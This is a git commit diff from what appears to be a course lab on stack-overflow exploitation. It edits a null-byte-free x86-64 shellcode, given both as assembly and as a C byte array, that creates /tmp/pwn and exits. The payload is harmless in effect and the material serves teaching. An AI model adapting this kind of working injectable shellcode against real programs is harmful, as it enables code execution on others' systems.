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Avoid forgotten \0

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using lea, neg
This commit is contained in:
Yorick Barbanneau 2023-03-30 10:19:50 +02:00
parent 15695498a4
commit 70c0823fe7
2 changed files with 7 additions and 6 deletions
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2
content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/exploit.c
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@ -2,7 +2,7 @@
#include <stdio.h>
unsigned char exploit[1024] = {
0xeb,0x24,0x48,0x31,0xff,0x5f,0x68,0xb6,0x01,0x00,0x00,0x48,0x31,0xf6,0x5e,0x6a,0x55,0x58,0x0f,0x05,0x48,0x31,0xc0,0x48,0x31,0xff,0x6a,0x2a,0x5f,0x6a,0x3d,0x58,0x48,0x8d,0x40,0xff,0x0f,0x05,0xe8,0xd7,0xff,0xff,0xff,0x2f,0x74,0x6d,0x70,0x2f,0x70,0x77,0x6e,0x00
0xeb,0x2b,0x48,0x31,0xff,0x5f,0x68,0x4b,0xfe,0xff,0xff,0x48,0x31,0xf6,0x5e,0x48,0xf7,0xde,0x48,0x83,0xc6,0x01,0x6a,0x55,0x58,0x0f,0x05,0x48,0x31,0xc0,0x48,0x31,0xff,0x6a,0x2a,0x5f,0x6a,0x3d,0x58,0x48,0x8d,0x40,0xff,0x0f,0x05,0xe8,0xd0,0xff,0xff,0xff,0x2f,0x74,0x6d,0x70,0x2f,0x70,0x77,0x6e
};
int main(void) {

11
content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S
View file

@ -3,14 +3,15 @@
_start:
jmp indirect
p:
xorq %rdi, %rdi
xor %rdi, %rdi
pop %rdi
#shr $0x8, %rdi
push $0x1b6
push $0xfffffffffffffe4b
xor %rsi, %rsi
pop %rsi
neg %rsi
add $1, %rsi
push $85
pop %rax
syscall
@ -26,4 +27,4 @@ p:
indirect:
call p
.asciz "/tmp/pwn"
.ascii "/tmp/pwn"